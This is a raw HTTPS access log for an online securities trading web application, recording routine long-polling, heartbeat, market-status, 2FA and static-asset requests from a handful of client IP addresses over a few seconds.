[09/Jan/2026:11:46:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:46:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:46:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930661960 HTTP/1.1" -
[09/Jan/2026:11:46:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930662054 HTTP/1.1" -
[09/Jan/2026:11:46:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930665069 HTTP/1.1" -
[09/Jan/2026:11:46:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930665349 HTTP/1.1" -
[09/Jan/2026:11:46:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930665924 HTTP/1.1" -
[09/Jan/2026:11:46:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930667020 HTTP/1.1" -
[09/Jan/2026:11:46:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930667135 HTTP/1.1" -
[09/Jan/2026:11:46:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930670131 HTTP/1.1" -
[09/Jan/2026:11:46:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930670485 HTTP/1.1" -
[09/Jan/2026:11:46:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930670965 HTTP/1.1" -
[09/Jan/2026:11:46:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930672082 HTTP/1.1" -
[09/Jan/2026:11:46:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930672226 HTTP/1.1" -
[09/Jan/2026:11:46:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930675195 HTTP/1.1" -
[09/Jan/2026:11:46:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930675641 HTTP/1.1" -
[09/Jan/2026:11:46:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930676000 HTTP/1.1" -
[09/Jan/2026:11:46:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:46:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Verify2FAService HTTP/1.1" 428
[09/Jan/2026:11:46:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930677200 HTTP/1.1" -
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:11:46:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767930678253 HTTP/1.1" 3188
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:46:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930677322 HTTP/1.1" -
[09/Jan/2026:11:46:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:46:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
